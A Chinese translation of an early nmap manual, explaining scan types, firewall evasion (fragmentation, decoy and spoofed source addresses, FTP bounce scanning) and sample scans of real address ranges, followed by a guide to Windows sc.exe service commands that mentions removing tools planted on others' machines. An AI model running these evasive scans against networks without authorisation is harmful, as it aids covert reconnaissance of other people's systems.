运行nmap后通常会得到一个关于你扫描的机器的一个实用的端口列表。nmap总是显示该服务的服务名称,端口号，状态以及协议。状态有‘open‘,‘filtered‘和‘unfiltered‘三种。‘open‘指的是目标机器将会在该端口接受你的连接请求。‘filtered‘指的是有防火墙、过滤装置或者其它的网络障碍物在这个端口阻挡了nmap 进一步查明端口是否开放的动作。至于‘unfiltered‘则只有在大多数的扫描端口都处在‘filtered‘状态下才会出现的。

根据选项的使用，nmap还可以报告远程主机下面的特性：使用的操作系统、TCP连续性、在各端口上绑定的应用程序用户的用户名、DNS名、主机是否是个smurf地址以及一些其它功能。

选项
这些选项通常都是可组合使用的。使用参数可以精确地定义一个扫描模式。nmap将会尽力捕捉并对不规范的参数组合作出提示。如果你急于开始，你可以跳过本文未尾的示例节——那儿有最基本的使用方法的示范。你也可以使用nmap -h来打开关于nmap选项参数的简介。

扫描类型
-sT TCP connect()扫描：这是对TCP的最基本形式的侦测。在该操作下，该connect()对目标主机上你感兴趣的端口进行试探，如果该端口被监听，则连接成功——否则代表这个端口无法到达。这个技术的很大好处就是你无须任何特殊权限，在大多数的UNIX系统下这个命令可以被任何人自由地使用。
但是这种形式的探测很容易被目标主机察觉并记录下来。因为服务器接受了一个连接但它却马上断开，于是其记录会显示出一连串的连接及错误信息。

-sS TCP SYN 扫描：这类技术通常涉及一种“半开”式的扫描——因为你不打开完整的TCP连接，你发送一个SYN信息包就象你要打开一个真正的连接而且你在等待对方的回应。一个SYN|ACK(应答)会表明该端口是开放监听的。一个RST（空闲?）则代表该端口未被监听。如果SYN|ACK的回应返回，则会马上发送一个RST包来中断这个连接（事实上是我们的系统核心在干这事）。这种扫描的最大好处是只有极少的站点会对它作出记录，但是——你需要有root权限来定制这些SYN包。

-sF -sX -sN
Stealth FIN,Xmas Tree 或者Null扫描模式：有时甚至SYN扫描都不够隐蔽——一些防火墙及信息包过滤装置会在重要端口守护，SYN包在此时会被截获，一些应用软件如Synlogger以及Courtney对侦测这类型的扫描都是行家。所以呢，在另一方面要有更进一步的扫描能在不遇到麻烦的情况下通过它们……
这个主意是关闭的端口会对你发送的探测信息包返回一个RST，而打开的端口则对其忽略不理（你可以参阅RFC 973 PP64）。所以FIN扫描使用空的FIN信息包作为探针、Xmas tree使用FIN，URG，PUSH标记、Null扫描则不用任何标记。但是不幸的是微软以他们一贯的风格不理睬这一标准……所以这一扫描在WINDOWS9X以及NT下不能工作。
从积极方面来讲，这其实也是一个很好的区分两种平台的办法——如果这次扫描发现了打开的端口，那你就能明白这台机器不是运行WINDOWS。如果-sF,-sX,-sN的扫描显示所有端口都是关闭的但一个SYN(-sS)扫描却显示有打开端口，那你就能大致推断它是WINDOWS平台。这只是一个简单应用，因为现在nmap已经有了更彻底的操作系统判别方法——当然它的原理类似上面所提到的.
这些平台包括Cisco, BSDI, HP/UX, MVS, 和IRIX。

-sP Ping扫描：有时你仅希望了解网络上有哪些主机是开放的，nmap可以通过对你指定的IP地址发送ICMP的echo request信息包来做到这一点，有回应的主机就是开放的啦。但令人讨厌的是一些站点比如microsoft.com对echo request包设置了障碍。这样的话nmap还能发送一个TCP ack包到80端口（默认），如果获得了RST返回，机器是开放的。第三个方法是发送一个SYN信息包并等待RST 或SYN/ACK响应了。作为非root的用户可以使用的，常用connect()模式。对root来说，默认的nmap同时使用ICMP和ACK的方法扫描，当然你也可以改变-P选项。注意你最好先ping一下用户，只有有回应的主机才有必要扫描，只有你不想探测任何的实际端口扫描只想大面积地搜索一下活动的主机，你可以使用此选项。

-sU UDP扫描：这一方法是用来确定哪个UDP(User Datagram Protocol,RFC 768)端口在主机端开放。这一技术是以发送零字节的UDP信息包到目标机器的各个端口，如果我们收到一个ICMP端口无法到达的回应，那么该端口是关闭的，否则我们可以认为它是敞开大门的。有些人或许会认为UDP扫描是无意义的，我通常会以最近的Solaris rcpbind漏洞来提醒他们。Rpcbind会隐藏在一个非正式的UDP端口于32770口以上，因此对111进行防火墙过滤是无关紧要的.但你是否查找过在30000以上的端口是否处在监听状态中……，用UDP扫描你就能轻松地做到这一点！或者大家还可以想想cDc出品的Back Orifice木马（BO），它可以在Windows的机器中配置一个UDP端口，更不用说如此众多可以利用UDP的、易受攻击的服务如snmp,tftp,NFS等了。但有一点不得不提及的是UDP扫描在目标主机按照RFC 1812（4.3.2.8节）建议的那样限制ICMP错误信息的传送速率时会令人痛苦的缓慢。举例来说吧，Linux 的核心配置(在net/ipv4/icmp.h)限制了每4秒产生80次的无法到达信息——每次产生1/4秒的延迟。Solaris有着更严格的限制（大约每秒两次就会延迟），所以这要耗费相当长的时间。nmap会侦测到这种限制并自动减缓速度——这也胜过用无意义的会被目标主机忽略的大量信息包来填充这个网络。如以往一样，微软还是不在乎RFC所建议的事而且没有任何限制性措施实行于WINDOWS或NT上，这样我们可以把多达65K的端口以极高的速度扫描完毕，欢呼吧！

-sR RPC扫描：这一方法是结合nmap多种扫描的一种模式，它取得所有的TCP/UDP开放端口并且用SunRPC程序NULL命令来试图确定是否是RPC端口并且——如果是的话，其上运行什么程序，何种版本。这样你可以在目标主机躲在防火墙后或者由TCP wrappers防护着，它都能取得效果近似于‘rpcinfo -p‘的信息。但Decoys现在还不能正常工作在RPC扫描下，在以后我会在UDP RPC扫描中加入Decoy支持的。

-b(ftp relay host)
FTP 跳跃攻击：FTP协议的一个有趣的特点是它支持代理FTP连接(RFC 959)，用另一句话说，我可以从evil.com连接到一个FTP服务器target.com并且要求目标主机发送文件到因特网的*任何地方*！在1985年这一RFC被写下来后这一特性便渐渐施行，但在现在的网络上我们不允许人们能够随意地“抢劫”一个FTP SERVER并请求数据到任何地方。所以在Hobbit于1995年写下的有关这一协议缺陷时说到“它可以用来从许多站台上发出事实上难以追查的信件、新闻以及攻击性行为——填充你的硬盘，试图使防火墙失效或者更多是烦人而无意义的骚扰。我开发出它来是为了通过一个代理FTP服务器察看TCP端口，这样你可以连上一个在防火墙后的FTP服务器然后扫描它看来仿佛堵塞的端口（139是很好的例子）。如果FTP服务器允许你读甚至写进某些目录（比如/incoming），你可以发送任意信息到你发现打开了的端口（当然nmap不干这事）。对于你要通过‘b‘选项来使主机成为你的代理时，标准的URL格式形式是：username:password@server:port。要确定一个服务器是否易受这样的攻击，你可以看看我在Phrack 51期上的文章。它的更新版本在http://www.insecure.org/nmap。

常规选项
这些选项并非必需的，但有些会非常实用。

-P0 在扫描前不尝试或者PING主机，这是用来扫描那些不允许ICMP echo 请求(或应答)的主机。microsoft.com就是这其中的一个例子，我们就必须使用-P0或者-PT80来察看microsoft.com的端口。

-PT 用TCP的ping来确定主机是否打开。作为替代发送ICMP echo请求包并等待回应的方式，我们可以大量发送TCP ACK包往目标网络（或者单机）并一点点地等待它的回应，打开的主机会返回一个RST。这一参数可以让你在ping信息包阻塞时仍能高效率地扫描一个网络/主机。对非root的用户，我们用connect()，以如下格式设置目标探针-PT,默认的端口是80，因为这相端口往往未被过滤。

-PS 这一选项是root用户使用的，能用SYN(连接请求)包替代ACK包,打开的主机会有一个RST(或者SYN|ACK——但比较少见)应答。

-PI 这一选项是使用一个真正的ping(ICMP echo request)包。它找到开放的主机并且将该子网中的广播地址全数搜寻——该广播地址是能够到达并能正确解析IP包的。如果其会被大量的DoS(denial of service)攻击时，我们就能找到它。

-PB 默认的ping形式，它用于ACK(-PT)与ICMP(-PI)并行攻击，以这一形式可以通过防火墙或包过滤。

-O 经由TCP/IP获取‘指纹’来判别主机的OS类型，用另一说法，就是用一连串的信息包探测出你所扫描的主机位于操作系统有关堆栈信息并区分其精细差别，以此判别操作系统。它用搜集到的信息建立一个“指纹”用来同已知的操作系统的指印相比较(the nmap-os-fingerprints file)
——这样判定操作系统就有了依据。
如果你发现一台机器开了至少一个端口并得到错误的诊断信息，那么你可以写信告诉我相关细节比如操作系统版本或侦测到的操作系统版本图，如果他有端口开放但nmap返回‘不可识别的操作系统‘，这可能也是有用的，你可以将它的IP告诉我或者另一个办法是用nmap的-d参数并告诉我它返回的“指印”——操作系统和版本号，这样做，也算是对nmap在判定操作系统的进一步开发中做了些事情，以便后续版本中它能更精确地判别系统类型。

-I 这是用ident扫描方式的参数，如Dave Goldsmith于1996年在Bugtraq中所说的，这个ident协议(rfc 1413)允许通过TCP连接得到拥有进程的用户名——即使这个连接不是由该进程发起的。所以呢，举个例吧，你可以通过ident连接到一个http端口并找出该进程是否由root运行，但这只能在“全开”的对目标端口的TCP连接中使用（象-sT扫描参数）。当你用-I参数时，远程主机的identd在开放的端口接受连接质询——很明显的，如果主机不运行identd的话，那它就无法正常工作。

-f 这个参数配置以细小的IP碎片包实现SYN，FIN，XMAS或NULL扫描请求。这个想法是把TCP包头分别放在几个不同的信息包中，使包过滤器难于运作，而后你就可以闯入系统做你想做的事了。但要注意，部份程序可能会对这些小信息包处理错误。比方说我最喜欢的sniffer segmentation在接收第一个36字节的信息碎片时就出现麻烦，之后又来了个24字节的！当包过滤器和能将IP碎片排列的防火墙没有获得此顺序时（就象linux内核中的CON-FIG_IP_ALWAYS_DEFRAG选项），一些网络系统就不能反映出找到目标，并且放弃。
记住这个参数不一定能很好地工作在任何系统上,它在我的Linux,FreeBSD以及OpenBSD下是正常的,当然也有一些人说它能在部份不同的*NIX环境下工作。

-v 详细模式。这是被强烈推荐的选项，因为它能带来你想要的更多信息。你可以重复使用它以获得更大效果。如果你需要大量翻动屏幕请使用 -d 命令两次

-h 这是一个快捷的帮助选项，可以在屏幕上显示nmap的参数使用方法——象你注意到的那样，这个man page实在不是一个“快速入门参考”:)

-o
这是用来指定一个放置扫描结果的文件的参数——这个结果是易于阅读的。

-m
这也是存放扫描结果的参数，但它是存放机器可解析（machine parseable）结果的，你可以用-m 带‘-‘(引号不用）将其输出到标准输出里（用shell的管道符……）。在这种形式下，正常的输出被禁止了，你需要察看一些错误信息来了解情况。

-i
从指定文件而不是从命令行读取数据。该文件可以存放一个主机或网络的列表，中间用空格、TAB键或者换行来分隔。如果希望从标准输入设备（文件）读取——比如在管道符的末端，你要将连字号(-)用于文件名。你可以从目标规格里找到更多关于写这一文件的资料。

-p
这一参数可以指定你希望扫描的端口，举例来说吧‘-p 23‘则只会对主机的23端口进行探测，默认扫描的是从1到1024端口，或者也可以用nmap里带的services file里的端口列表。

-F 快速扫描模式。指定只希望扫描nmap里提供的services file中列出的端口列表里的端口。这明显会比扫描所有65535个端口来得快。

-D
这是一种带有诱骗模式的扫描，在远程主机的连接记录里会记下所有你所指定的诱骗性的地址。这样的话他们的数据存储器会显示有一些端口扫描从某个IP发起，然而他们无法辩别哪个是真正的IP而哪个是用来作为掩护的，这可以击败一些通过路由进行跟踪的行为，所以它是一项隐藏你的IP的很实用的技术。用逗号分隔各个欺骗地址，你可以随意地将‘me‘放进任意一个你希望显示真实IP的地方，如果你将‘ME‘放在第六位甚至最后，有些端口扫描记录器（比如Solar Designer‘s excellent scanlogd）可能根本就不会显示你的IP，如果你不用‘ME‘的话，nmap将会将它随机放置。记住你用来诱骗的主机必须是开放的或者你可以半开扫描一下你的目标。因为要从一堆实际上没有用的IP地址里判别出哪个是真正的入侵者是相当容易的。你还可能要用IP地址来代替名字，这样诱骗主机的nameserver logs里才不会记录下你来。还要记得有些（愚蠢的）"端口扫描探测器"会拒绝到达主机的端口扫描尝试。这样你无意中就会导致你扫描的主机与“诱骗主机”连接的丢失，这样可能会带来一个很大的问题是——如果这个“诱骗主机”是一个网上的网关或者甚至就是其本地的机子，其连接一样会断开！所以大家最好小心使用这个参数——从道德上的原因——这仅仅是一个诱骗，不是么？这种诱骗可以用在最初的ping扫描（用ICMP,SYN,ACK或其它）与实际的端口状态扫描中，它还可以用于远程OS的判别(-O)。当然如果你写入太多的诱骗地址也是没什么用处的，那只能减缓扫描速度以及降低一些精确度。而且一些指令处理系统还可能会过滤掉你的欺骗包，虽然多数（几乎是全部了）不会对欺骗包作出任何限制。

-S
在某些环境下nmap可能无法确定你的源地址——这种情况下nmap会有提示，这时你就要用-S带IP地址来标注。另一种使用的可能性是用来欺骗目标使它认为某人在扫描它。设想一下，某个公司发现被竞争者持续不断的扫描:),这是一个不被支持的用法，或者说，不是主要目的。我只是用它来提醒人们在发现一个端口扫描者时别光顾责难，可能他是无辜的呢。-e能够说明这个参数的一般用法。

-e
告诉nmap哪个界面要发送或接收。nmap能够自动探测它，如果无法做到，亦会有提示信息。

-g
在扫描中设定源端口号。许多“天真”的防火墙或包过滤器除了它们建立的允许DNS(53)或FTP-DATA(20)的包进来建立连接之外，其余一概过滤，显然这是很轻率的做法，因为入侵者能够轻易地编辑一个来自FTP或DNS的源端口。比如说，你如果无法从一个主机的host:port通过TCP ISN取得信息，那么通过用-g 命令，nmap会改变源端口再次尝试。需要了解的是，使用这个选项可能会有小小的延迟，因为我有时需要在源端口号中存储有用信息.

-M
设定用来并行进行TCP connect()扫描的最大的sockets数目（默认）。这对将扫描适度减缓是相当有效的，它可以避免把远程主机crashing。另一个途径是用-sS。

定时选项
--------*

虽然nmap在一般情况下都能够很好地在运行时间里尽可能迅速地完成扫描任务，但偶尔还是会有一些主机/端口无法侦测，这可能是nmap默认的时间策略和你的目标不太一致（相当于timeout的设定），下面就是一些选项能对扫描的时间进行控制：

-T
这是一个可以用来便利地表达nmap时间策略优先权的参数设置。Paranoid模式用极慢的速度来扫描以避免被数字记录系统记录。它使扫描连续而不是并发而且通常等待至少五分钟才发送一个信息包。Sneaky也是类似的，只是它是每15秒发送一个信息包。Polite模式是用来减轻网络负载以减少当机的可能性，它是连续发送探针并在两个包的间隙等待0.4秒。Normal是nmap的常规用法，是尽其所能地快速扫描——除非主机或端口连接丢失。Aggressive模式是对每台主机设定了五分钟的timeout，并且等待每个探针应答不超过1.25秒。Insane模式是适应非常快的网络或者你不在乎丢失一些信息——因为太快！它的timeout设定于75秒并且只等待回应0.3秒，它允许对一个很快的网络系统进行“扫荡”:)，你也可以用数字(0-5)来代表参数，比如‘-t 0‘表示Paranoid而‘-t 5‘代表Insane模式。注意，这些时间设定无法在底层的控制中联合使用。(NOT be used in combination with the lower level controls given below.)

--host_timeout
具体指定nmap对某个IP的扫描时间总量，超过则作不通处理，默认是不做设定。

--max_rtt_timeout
指定nmap对一个探针从远程端返回回应的最大时间，默认是9000。

--initial_rtt_timeout
指定最初探针的timeout时间，这通常在用-P0扫描有防火墙保护的主机时很有效，nmap会通过ping得到一个好的RTT评估以及最初少数的探针。默认值为6000。

--max_parallelism
指定nmap允许的最大并行扫描数目，设定为1表明nmap每次只扫描个端口，它同样会对其它扫描如ping sweep, RPC scan等产生影响。

--scan_delay
指定nmap必须等待的两个探针间的最小的时间。这是减少网络负载及使扫描在综合数据存储的记录下不那么显眼的办法。

目标说明
--------*

所有不带参数的选项都会被视为是nmap的目标主机描述。最简单的实例是仅仅在命令行列出单一的主机名或IP地址。如果你希望扫描一个IP地址的子网，你可以在主机名和IP地址中加入‘/mask‘。mask必需是在0（扫描整个网络）和32（特定的单一主机）。用/24则表明扫找一个C类地址，而/16则是扫描B类
……

nmap还有一些更有用的符号说明方式可以让你用list/ranges来为每个元素指定IP地址。比如你要扫描B类网址128.210.*.*，则可以用‘128.210.*.*‘或‘128.210.0-255.0-255‘或者甚至是‘128.210.1-50,51-255.1,2,3,4,5-255‘来表示。当然你也可以用上面提过的mask来表示:‘128.210.0.0/16‘。所有这些都是等价的，当你用‘*‘的时候记住多数的shell都要求用定界符比如引号将其标注。

另一个有趣的是你可以用其它方法将整个网络“分割”，比如你可以用‘*.*.5.6-7‘来扫描所有以.5.6或 .5.7结束的IP地址。要得到更多信息，你可以看看示例节。

扫描范例
--------*

这里是一些运用nmap的扫描范例，从最简单普通的到有一些复杂的例子都有。注意这里有真实的数字以及一些真实的域名——这样可以让扫描行为看起来更具体。在这里你可以用自己的网络里的名称代替其中的addresses/names。虽然端口扫描的结果分析可能会使某些人容易攻击，但我不认为它是不合法的,我曾经扫描过成百上千的机器但只收到一次抱怨。但我不是律师而一些（anal)人们对nmap探测觉得烦恼，所以最好在取得允许后扫描或者——冒险，后果由你自己承担。

nmap -v target.example.com

这样对target.example.com上所有的保留TCP端口做了一次扫描，-v表示用详细模式。

nmap -sS -O target.example.com/24

这将开始一次SYN的半开扫描，针对的目标是target.example.com所在的C类子网，它还试图确定在其上运行的是什么系统。这需要root权限，因为用到了半开扫描以及系统侦测。

nmap -sX -p 22,53,110,143,4564 128.210.*.1-127

发送一个Xmas tree扫描到B类128.210所在子网的一半范围内，我们将检测系统是否运行sshd, DNS, pop3d, imapd, 或者端口4564。要注意由于微软TCP堆栈的不完善，Xmas扫描将不能在其平台上运行成功，同样的问题可能存在于CISCO, IRIX, HP/UX, 和BSDI。

nmap -v -p 80 ‘*.*.2.3-5‘

这是定位一个网域（将整个网络分隔成许多小部份）再进行扫描的方式，这里扫描的是所有以.2.3,.2.4, 或.2.5结束的IP地址。如果你是ROOT的话也可以用-sS。同样的你可以从127开始搜寻更多有趣的机器，你可以用‘127-222‘替代前面的星号——恕我直言，那个区域有着大量有趣的机器。

host -l company.com | cut ‘-d ‘ -f 4 | ./nmap -v -i -

做一个DNS zone transfer来寻找在company.com进而的主机并且将IP地址送至nmap(feed the IP addresses to nmap)。这个命令是在我的GNU/Linux平台下运行的，你可能需要用不同的选项参数或者不同的操作系统。

臭虫
----*
臭虫？有什么臭虫？如果你找到了，请告诉我，修订版将会更完善:)，记住要连同OS的“指印”一起给我，这样我才能有足够的数据进行修改……

作者
----*

Fyodor

发放
----*

最新版本的nmap可以从以下URL获得（以下为版权信息）

http://www.insecure.org/nmap/

nmap is (C) 1997,1998,1999 by Fyodor (fyodor@dhp.com, fyodor@insecure.org)

libpcap is also distributed along with nmap. It is copy-righted by Van Jacobson, Craig Leres and Steven McCanne,all of the Lawrence Berkeley National Laboratory, University of California, Berkeley, CA.The Version distributed with nmap may be modified,pristine sources are available fromftp://ftp.ee.lbl.gov/libpcap.tar.Z .

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2. This guarantees your right to use, modify, and redistribute Nmap under certain conditions. If this license is unacceptable to you, Insecure.Org may be willing to sell alternative licenses (contact fyodor@dhp.com).

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details (it is in the COPYING file of the nmap distribution).

It should also be noted that Nmap has been known to crash certain poorly written applications, TCP/IP stacks, and even operating systems. Nmap should never be run against mission critical systems unless you are prepared to suffer downtime. We acknowledge here that Nmap may crash your systems or networks and we disclaim all liability for any damage or problems Nmap could cause.

All versions of Nmap equal to or greater than 2.0 are believed (through informal testing) to be Year 2000 (Y2K) compliant in all respects. That being said, we reiterate that Nmap comes with no warranty. There is no reason to believe versions earlier than 2.0 are susceptible to problems, but we have not tested them.

附：

nmap的运行平台
--------------*

可移植性
NMAP发展于LINUX下，但现在可以在许多平台上运行。这得感谢Lamont Granquist 他为NMAP自动控制台运行于许多我无法存取的平台做出了巨大的帮助。下面是支持NAMP运行的系统的简表：

OS Compiles TCP scan (-sT) SYN scan (-sS) FIN scan (-sF) Frag scan (-f) OS Detection (-O)
Linux Yes! Yes! Yes! Yes! Yes! Yes!
FreeBSD Yes! Yes! Yes! Yes! Yes! Yes!
OpenBSD Yes! Yes! Yes! Yes! Yes! Yes!
NetBSD Yes! Yes! Yes! Yes! Yes! Yes!
Solaris 2.4-7 Yes! Yes! Yes! Yes! No :( Yes!
SunOS4.1.4 w/gcc Yes! Yes! Yes! Yes! No :( Yes!
IRIX 5.3-6.4 Yes! Yes! Yes! Yes! No :( Yes!
HP/UX 10.20 Yes! Yes! Yes! Yes! Yes! Unknown
BSDI 2.1 and up Yes! Yes! Yes! Yes! Unknown Yes!
AIX(use cc,not gcc) Yes! Yes! No :( No :( No :( No :(
Digital UNIX/Alpha Yes! Yes! POSSIBLE KERNEL PANIC!
Cray UNICOS 10.0 Yes! Yes! No :( No :( No :( No :(
信息来源：苏樱


SC使用完全指南

写这个东西的目的在于让大家了解一下SC这个服务管理程序的使用，另一方面也是为了让大家更进一步的了解到NT，2000的服务的一些基础问题，如果有时间，希望大家好好看看。再来结合起上一次如何打开termservice服务的那篇文章，在服务方面大家应该比较了解了。用这个东西就可以删除在别人机器里留下的如ffsniffer, sksockerver这些东西，不用再担心，装上了删除不了。但是毕竟这个东西还是MS的产品，所以，如eventlog这样的服务，是不可以用它关闭的。累呀累呀，写了我整整一个早上，就是不知道有没有人看！

我们知道在MStools SDK，也就是在Resource Kit有一个很少有人知道的命令行软件，SC.exe，这个软件向所有的

Windows NT和Windows 2000要求控制他们的API函数。我们可以在命令行里通过对这些函数设定参数的方式来设定

他们(API)。SC.exe也可以显示服务的状态，同时也可以从状态结构区域里重新找到存储在里面的数值。它还可以

列出远程计算机的服务函数或者是服务状况结构。
SC.exe这个开发工具至少可以比服务控制面板程序和网络命令行界面(net.exe，这个东西可以告诉你一个服务是

在运行中，还是停止，还是暂停。）这两个东西提供更多的细节和准确的信息。虽然上述两个东西在正常工作的

情况下，对于完整的调试是非常好用的，但是如果有新的服务，或者新的代码被开发出来的时候，这两个工具提

供的信息可能造成误导。这也就是我们需要用到SC的原因。
下面举列说明，如果在开发阶段，你的服务在挂住在一个start-pending的时候，控制面板和net.exe同样报告服

务是在运行的。但它挂在一个stop-pending的时候，net.exe报告它运行，而控制面板着报告它停止，如果你试着

启动它，这是控制面板则会告诉你这个服务正在运行。难道这不是很困惑吗？呵呵！
SC.exe可以让你询问服务的状况和取出存储在状态结构区域内的数值，控制面板和net.exe不提供服务完整的状况

。但是无论如何，SC程序可以告诉你这个服务准确的情形，同样也可以给你看最后的checkpoint数和等待提示。

这个checkpoint，我叫它检查点(我觉得他就像一个程序调试时置的断点)，所以我们也可以把看作为一个调试工

具，因为它可以提供一个关于在程序停止时还要沿着初始化继续前进多久准确报告。
SC.exe也可以允许你调用很多的服务控制API函数，可以让你从命令行里改变大量的参数。这位服务开发者们提供

了很多的优势。例如，它提供了一个方便的方式来创建或者在注册表和服务控制管理数据库中配置服务信息。开

发者们不需要在手动的在注册表里单独的设置键值来配置服务，也不用重起机器来强迫服务控制管理数据库升级

。
作为一个命令很工具，SC.exe可以用来测试你自己的系统，你可以设置一个批处理文件来使用不同的参数调用

SC.exe来控制服务。这个很有用，如果你想看看你的服务不断的启动和停止，我没有试过哦！让一个服务一下子

打开，一下子关闭，听上去很不错的。如果你的服务进程里面有多个进程的话，你可以保持一个进程继续运行不

让它走开，然后让另一个不断的打开在关闭，还可以寻找一下内存缺乏导致不完全清楚的证据。
下面介绍SC，SC QC，and SC QUERY

SC使用这样的语法：
1. SC [Servername] command Servicename [Optionname= Optionvalue]

2. SC [command]

这里使用第一种语法使用SC，使用第二种语法显示帮助。

下面介绍各种参数。

Servername
可选择：可以使用双斜线，如\\myserver，也可以是\\192.168.0.1来操作远程计算机。如果在本地计算机上操作

就不用添加任何参数。

Command
下面列出SC可以使用的命令。

config----改变一个服务的配置。（长久的）

continue--对一个服务送出一个继续控制的要求。

control----对一个服务送出一个控制。

create----创建一个服务。（增加到注册表中）

delete----删除一个服务。（从注册表中删除）

EnumDepend--列举服务的从属关系。

GetDisplayName--获得一个服务的显示名称。

GetKeyName--获得一个服务的服务键名。

interrogate--对一个服务送出一个询问控制要求。

pause----对一个服务送出一个暂停控制要求。

qc----询问一个服务的配置。

query----询问一个服务的状态，也可以列举服务的状态类型。

start----启动一个服务。

stop----对一个服务送出一个停止的要求。

Servicename
在注册表中为service key制定的名称。注意这个名称是不同于显示名称的（这个名称可以用net start和服务控

制面板看到），而SC是使用服务键名来鉴别服务的。

Optionname
这个optionname和optionvalue参数允许你指定操作命令参数的名称和数值。注意，这一点很重要在操作名称和等

号之间是没有空格的。一开始我不知道，结果………………，比如，start= optionvalue，这个很重要。

optionvalue可以是0，1，或者是更多的操作参数名称和数值对。
如果你想要看每个命令的可以用的optionvalue，你可以使用sc command这样的格式。这会为你提供详细的帮助。

Optionvalue
为optionname的参数的名称指定它的数值。有效数值范围常常限制于哪一个参数的optionname。如果要列表请用

sc command来询问每个命令。

Comments
很多的命令需要管理员权限，所以我想说，在你操作这些东西的时候最好是管理员。呵呵！

当你键入SC而不带任何参数时，SC.exe会显示帮助信息和可用的命令。当你键入SC紧跟着命令名称时，你可以得

到一个有关这个命令的详细列表。比如，键入sc create可以得到和create有关的列表。
但是除了一个命令，sc query，这会导出该系统中当前正在运行的所有服务和驱动程序的状态。

当你使用start命令时，你可以传递一些参数（arguments）给服务的主函数，但是不是给服务进程的主函数。

SC create
这个命令可以在注册表和服务控制管理数据库建立一个入口。

语法1
sc [servername] create Servicename [Optionname= Optionvalue]

这里的servername，servicename，optionname，optionvalue和上面的一样，这里就不多说了。这里我们详细说

明一下optionname和optionvalue。

Optionname--Optionvalue
描述

type=----own, share, interact, kernel, filesys
关于建立服务的类型，选项值包括驱动程序使用的类型，默认是share。

start=----boot, system, auto, demand, disabled
关于启动服务的类型，选项值包括驱动程序使用的类型，默认是demand（手动）。

error=----normal, severe, critical, ignore
当服务在导入失败错误的严重性，默认是normal。

binPath=--(string)
服务二进制文件的路径名，这里没有默认值，这个字符串是必须设置的。

group=----(string)
这个服务属于的组，这个组的列表保存在注册表中的ServiceGroupOrder下。默认是nothing。

tag=----(string)
如果这个字符串被设置为yes，sc可以从CreateService call中得到一个tagId。然而，SC并不显示这个标签，所

以使用这个没有多少意义。默认是nothing

depend=----(space separated string)有空格的字符串。
在这个服务启动前必须启动的服务的名称或者是组。

obj=----(string)
账号运行使用的名称，也可以说是登陆身份。默认是localsystem

Displayname=--(string)
一个为在用户界面程序中鉴别各个服务使用的字符串。

password=--(string)
一个密码，如果一个不同于localsystem的账号使用时需要使用这个。

Optionvalue
Optionname参数名称的数值列表。参考optionname。当我们输入一个字符串时，如果输入一个空的引用这意味着

一个空的字符串将被导入。

Comments
The SC CREATE command performs the operations of the CreateService API function.
这个sc create命令执行CreateService API函数的操作。详细请见CreateService。

例1
下面这个例子在一台叫做（\\myserver）的计算机上为一个叫“NewService”的服务建立的一个注册表登记。
sc \\myserver create NewService binpath= c:\winnt\system32\NewServ.exe

按照默认，这个服务会建立一个WIN32_SHARE_PROCESS使用SERVICE_DEMAND_START启动方式。这将不会有任何从属

关系，也将会按照localsystem安全上下关系来运行。

例2
下面这个例子将在本地计算机上，建立一个服务，它将会是一个自动运行服务，并且运行在他自己的进程上。它

从属于TDI组和NetBios服务上。注意，你必须在从属中间增加一个空格的引用。

sc create NewService binpath= c:\winnt\system32\NewServ.exe type= own
start= auto depend= "+TDI Netbios"

例3
服务开发者可以通过临时改变二进制路径（影像路径）的方式来将这个服务运行在内核调试器的上下关系中。下

面这个例子就可以让我们看到如何改变服务的配置。

sc config NewService binpath= "ntsd -d c:\winnt\system32\Newserv.exe"
这个例子会引起服务控制管理器调用ntsd.exe使用下例的参数字符串：
"-d c:\nt\system32\NewServ.exe"

当系统装入newserv.exe时ntsd将会转而打断调试器，所以断点可以被设置在服务代码里。

SC QC
这个SC QC“询问配置”命令可以列出一个服务的配置信息和QUERY_SERVICE_CONFIG结构。

语法1
sc [Servername] qc Servicename [Buffersize]

Parameters
servername和servicename前面已经介绍过了，这里不再多说。

Buffersize，可选择的，列出缓冲区的尺寸。

Comments

SC QC命令显示了QUERY_SERVICE_CONFIG结构的内容。

以下是QUERY_SERVICE_CONFIG相应的区域。
TYPE------dwServiceType
START_TYPE----dwStartType
ERROR_CONTROL----dwErrorControl
BINARY_PATH_NAME--lpBinaryPathName
LOAD_ORDER_GROUP--lpLoadOrderGroup
TAG------dwTagId
DISPLAY_NAME----lpDisplayName
DEPENDENCIES----lpDependencies
SERVICE_START_NAME--lpServiceStartName

例1

下面这个例子询问了在上面例子中建立的“NewService”服务的配置：

sc \\myserver qc NewService

sc显示下面的信息：

SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 3 DEMAND_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : c:\winnt\system32\NewServ.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : NewService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

NewService有能力和其他的服务共享一个进程。但是它不是自动启动的。二进制文件名是NewServ.exe。这个服务

不依靠与其它的的服务，而且运行在lcoalsystem的安全上下关系中。这些都是调用QueryServiceStatus基本的返

回，如果还需要更多的细节届时，可以看看API函数文件。

SC QUERY

SC QUERY命令可以获得服务的信息。

语法：
sc [Servername] query { Servicename | Optionname= Optionvalue... }

参数：

servername, servicename, optionname, optionvalue不在解释。只谈一下这个命令提供的数值。

Optionname--Optionvalue
Description

type=----driver, service, all
列举服务的类型，默认是service

state=----active, inactive, all
列举服务的状态，默认是active

bufsize=--(numeric value)
列举缓冲区的尺寸，默认是1024 bytes

ri=----(numeric value)
但开始列举时，恢复指针的数字，默认是0

Optionvalue
同上。

Comments

SC QUERY命令可以显示SERVICE_STATUS结构的内容。

下面是SERVICE_STATUS结构相应的信息：
TYPE------dwServiceType
STATE------dwCurrentState, dwControlsAccepted
WIN32_EXIT_CODE----dwWin32ExitCode
SERVICE_EXIT_CODE--dwServiceSpecificExitCode
CHECKPOINT----dwCheckPoint
WAIT_HINT----dwWaitHint

在启动计算机后，使用SC QUERY命令会告诉你是否，或者不是一个启动服务的尝试。如果这个服务成功启动，WIN32_EXIT_CODE区间会将会包含一个0，当尝试不成功时，当它意识到这个服务不能够启动时，这个区间也会提供一个退出码给服务。

例子

查询“NewService"服务状态，键入：

sc query NewService

显示一下信息：

SERVICE_NAME: NewService
TYPE : 20 WIN32_SHARE_PROCESS
STATE : 1 STOPPED
